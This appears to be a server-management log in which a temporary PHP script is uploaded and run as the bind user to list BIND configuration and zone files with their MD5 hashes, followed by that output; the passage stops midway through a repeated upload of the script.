MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:33:56: Establishing a connection
2026-05-06 10:33:56: 

PUT: /tmp/pkp584548

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:33:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp584548; rm /tmp/pkp584548'

2026-05-06 10:33:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:50:59: Establishing a connection
2026-05-06 10:50:59: 

PUT: /tmp/pkp653693

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
